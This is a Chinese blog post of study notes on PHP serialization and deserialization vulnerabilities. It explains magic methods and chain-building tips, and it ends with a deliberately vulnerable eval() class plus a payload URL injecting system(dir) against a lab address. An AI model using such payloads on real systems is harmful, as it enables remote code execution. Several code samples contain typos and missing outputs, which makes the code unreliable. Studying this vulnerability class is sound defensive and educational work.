序列化与反序列化学习笔记

序列化与反序列化

1、什么是序列化与反序列化?

把对象转换为字符串进行存储的过程称为对象的序列化(Serialization)

把存储的字符串恢复为对象的过程称为对象的反序列化(Deserialization)

应用场景

当对象需要被网络传输时

当对象状态需要被持久化

什么是反序列化?

序列化就是将对象转换为字节流,便于保存在文件,内存,数据库中;反序列化就是将字节流转化为对象,也就是把数据转化为一种可你的数据结构,再把这种可逆的数据结构转化回数据,这就是序列化与反序列化。

反序列化的函数

serialize():将一个对象转换为字符串

unserialize():将字符串还原成一个对象

漏洞原理

PHP将所有以__(两个下划线)开头的类方法保留为魔术方法,所以在定义类的方法时,除了上述方法,建议不要以__为前缀

魔术方法:指的是一类可以自动调用的方法,这个方法使用特殊名称,以双下划线(__)开头和结尾,并在调用他们时具有特殊行为。

PHP中常用的魔术方法

1、举例:__construct()

在创建一个新的对象时,__construct()函数会被调用,初始化对象的属性或执行其他必要的操作

class MyClass{ private $str; public function __construce($str){ $this->str = $str; } public function printStr(){ echo $this->str } } $obj = new MyClass('hello'); $obj-printStr();//输出hello

2、举例:__toString()

当一个对象需要表示为字符串时,__toString()函数会被自动调用,值得注意的是,这个方法必须返回一个字符串。

class MyClass{ public function __toString(){ return "This is MyClass"; } } $obj = new MyClass(); echo $obj;//This is MyClass

总结

以上所讲为PHP常用魔术方法,还有其他魔术方法比如__isset(),__unset(),__sleep(),__wakeup(),__clone(),魔术方法好处在于可以简化代码,提高开发效率,过度使用会使代码变得难以理解和调式,所以,量力而行。

PHP序列化

在写程序时,尤其是写网站的时候,经常会构造类,并且会将实例化的类作为变量进行传输,序列化就是在此为了减少传输内容的大小孕育而生的一种压缩方法,PHP类中含有几个特定元素:类属性,类常量,类方法。每个类至少包含有以上是按个元素,这三个元素也可以组成最基本的类。那么按照特定的格式,将这三个元素表达出来就可以将一个完整的类表示出来并传递,序列化就是将一个类压缩成字符串的方法。

序列化例子:

<?php class TEST{ public $a="public"; private $b="private"; protected $c="protected"; static $d="static"; } $ob = new TEST(); echo serialize($ob); ?>

output:

解析

O(大写英文字母o):表示这是一个对象

4:对象的名称TEST有4个字符

TEST:对象名称

3:对象属性的个数,不算static

s:数据类型为string

1:变量的名称长度

a:变量名

s:表示数据类型

6:变量值的长度

public:变量值

s:数据类型

7:变量名的长度,private属性序列话会在两个加空字节%00,比明文长度多2

TESTb:private属性变量名在序列化时会加类名,即类名+变量名

s:数据类型

7:变量值的长度

private:变量值

s:数据类型

4:变量名长度

*c:protected属性的变量名会在序列化时在变量名前加一个\00*\00

s:数据类型

9:数据值的长度

protected:数据值

不同类型的数据

PHP对不同类型的数据用不同的字母进行表示

a:数组

b:布尔值

d:实数型

i:整形

r:对象引用

s:字符串

C:自定义的对象序列化

O:对象序列化

N:NULL

R:指针引用

U:Unicode编码字符串

魔术方法:

__construct():创建对象时触发

__destruct():对象被销毁时触发

__call():在对象上下文中调用不可访问的方法时触发

__callStatic():在静态上下文中调用不可访问的方法时触发

__get():用于从不可访问的属性读取数据

__set():用于将数据写入不可访问的属性

__isset():在不可访问的属性上调用isset()或empty()触发

__unset():在不可访问的属性上使用unset()时触发

__invoke():当脚本尝试将对象调用为函数时触发

序列化格式

1、JSON(JavaScript Object Notation):轻量级数据交换格式,易于阅读和编写,也易于机器解析生成

{"name":"John":"age":30,"city":"New York"}

2、XML(eXtensible Markup Language):标记语言,用于存储和传输数据

<person> <name>John</name> <age>30</age> <city>New York</city> </person>

3、pickle(Python特有的序列化格式):Python中的序列化模块,可以将python对象序列化为二进制格式

import pickle data = {"name":"john","age":30,"ciry":"New York"} serialized_data = pickle.dumps(data)

实例

serialize()

<?php $site = array('Google','Runoob','Facebook'); $serialized_data = serialize($site); echo $serialized_data; ?> output: a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}

unserialize()

<?php $str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}'; $unserialized_data = unserialize($str); print_r($unserialized_data); ?> output: Array ( [0] => Google [1] => Runoob [2] => Facebook )

技巧思路

1、首先找其实和结尾,万能用的起始:

2、__wakeup()完美的起始:

3、__destruct()完美的起始

4、通过反序列化可以给属性进行任意赋值,因此只要是属性,其值完全可控

5、首位相连,找链式调用,注意不要被变量名骗了,一定要找到所有可能性

6、本地构造序列化,反着写!哪个类是最后调用的就先new哪个类

反序列化的常见起点

__wakeup一定会调用 //使用unserialize时触发

__destruct一定会调用 //对象被销毁时触发

__toString当一个对象被反序列化后又被当作字符串使用

反序列化常见的中间跳板

__toString当一个对象被当作字符串使用

__get读取不可访问或不存在属性时被调用

__set当给不可访问或不存在属性赋值时被调用

__isset对不可访问或不存在的属性调用isset或empty时被调用

形如:$this->$func();

反序列化常见终点

__call:调用不可访问或不存在的方法时被调用

call_user_func:php代码执行都会选择这里

call_user_func_array:一般php代码执行都会选择这里

$this->的用法介绍

PHP中一般先声明一个类,然后用这个类去实例化对象!$this的含义时实例化后的具体对象!$this->表示在类本身内部使用本类的属性和方法。->符号是插入式解引用操作符。说白了,他是调用由引用传递参数的子程序的方法。

举例:声明一个User类,它只含有一个属性$name;

<?php class User{ public $_name; } ?>

现在,我们给User类加一个方法,就用getName()方法,输出$name属性值

<?php class User{ public $_name; function getName(){ echo $this->name; } } //如何使用? $user1 = new User(); $user1->name = '张三'; $user1->getName(); //输出张三 $user2 = new User(); $user2->name = '李四''; $user2->getName(); //输出李四 ?>

上面创建了两个User对象,分别式$user1和$user2

当调用$user1->getName()的时候。上面User类中的代码echo $this->name;相当于是echo $user->name

反序列化简单入门实例

目的:使用反序列化,任意操作属性值

构造payload:http://172.16.12.3/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}

test.php

<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>

1.php

<?php class A{ var $test = "demo"; function __construct(){ $this->test = " 123"; echo "1"; } function __destruct(){ echo $this->test; } } $b = new A(); $a = $_GET['test']; $a_unser = unserialize($a); ?>

序列化总结

序列化试讲对象的状态信息(属性)转换为可以存储或传输的形式的过程(方便存储和传输)

将对象或数组转化为可存储/传输的字符串

PHP中使用serialize()函数来讲对象或者数组进行序列化,并返回包含字节流的字符串来表示

序列化之后的表达凡是/格式

1、简单序列化

<?php $a=null; echo serialize(); ?>

2、数组序列化

<?php $a = array('a','b','c'); echo $a[0]; echo serialize(); ?>

3、对象序列化

<?php class test{ public $pub='gazi'; function tougou(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?> output: 0:4:"test":1:{s:3:"pub";s:4:"gazi";}

4、私有修饰符序列化

<?php class test{ private $pub='gazi'; function tougou(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?>

output的值因为pub是私有属性,蓄力护额会在前面加上类名,并且类名前后由空字符,所以一共9个字符。

5、保护修饰符序列化

<?php class test{ protected $pub='gazi'; function tougou(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?>

如果一个属性属于保护的修饰符,序列化的时候会在属性前面加一个* ,并且*的前后也会有空字符,一共6个字符

6、成员属性调用对象序列化

<?php class test{ var $pub='gazi'; function tougou(){ echo $this->pub; } } class test2{ var $gangdan; function __construct(){ $this->gangdan=new test(); } } $a = new test2(); echo serialize($a); ?> output: O:5:"test2":1:{s:7:"gangdan";O:4:"test":1:{s:3:"pub";s:4:"gazi";}}

7、整体演示

<?php highlight_file(__FILE__); class TEST{ public $data; public $data2 = "dazhaung"; private $pass; public function __construct($data, $pass){ $this->data = $data; $this->pass = $pass; } } $number = 34; $str = 'user'; $bool = true; $null = NULL; $arr = array('a' => 10,'b' => 200); $arr2 = array2('zhangsan','dazhuang','gazi'); $test= new TEST('uu',true); $test2 = new TEST('uu',true); $test2->data = &$test2->data2; echo serialize($number)."<br />"; echo serialize($str)."<br />"; echo serialize($bool)."<br />"; echo serialize($null)."<br />"; echo serialize($arr)."<br />"; echo serialize($test)."<br />"; echo serialize($test2)."<br />"; ?>

输出结果

反序列化总结

特性

1、反序列化之后的内容为一个对象

2、反序列化生成的对象里的值,由反序列化的值提供;与原有类预定义的值无关

3、反序列化不处罚类的成员方法;需要调用方法后才能触发

举例:

<?php class tets{ public $a = 'gazi'; protected $b = 666; private $c = flase; public function displayVar(){ echo $this->a; } } $b = new test();//将类实例化为一个对象 $d = serialize();//进行序列化 echo $d."<br />";//输出序列化后的值 echo urlencode()."<br />";//进行url编码,能看到空字符的%00 $a = urlencode($d);//将ur1编码后赋值给变量a $b = unserialize(urlencode($a));//对a进行反序列化,赋值给b var_dump($b); ?>

反序列化的输出和正常对象的输出是一样的,如果将序列化字符串里面的gazi改成gangdan,反序列化后的a就变成gangdan,通过序列化反序列化构造的木马很难发现。

反序列化漏洞POC

<?php error_reporting(0); class test{ public $a = 'echo "this is test!!!";'; public function displayVar(){ eval($this->a); } } $get = $_GET["gazi"];//通过get传参传的是序列化后的值 $b = unserialize($get); //吧参数值反序列化付给对象b $b->displayVar(); //对象b不属于test类的,但是通过反序列化后系统会认为b是类test实例化的对象,从这里可以执行类中的方法,因为传参的时候已经把类的属性修改为我们想要的代码,实现了反序列化的漏洞。 //这里有一个前提,我们必须要知道源代码 ?>

payload:http://172.16.12.3/zz.php?gazi=O:4:"test":1:{s:1:"a";s:12:"system(dir);";}

下面是执行结果:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值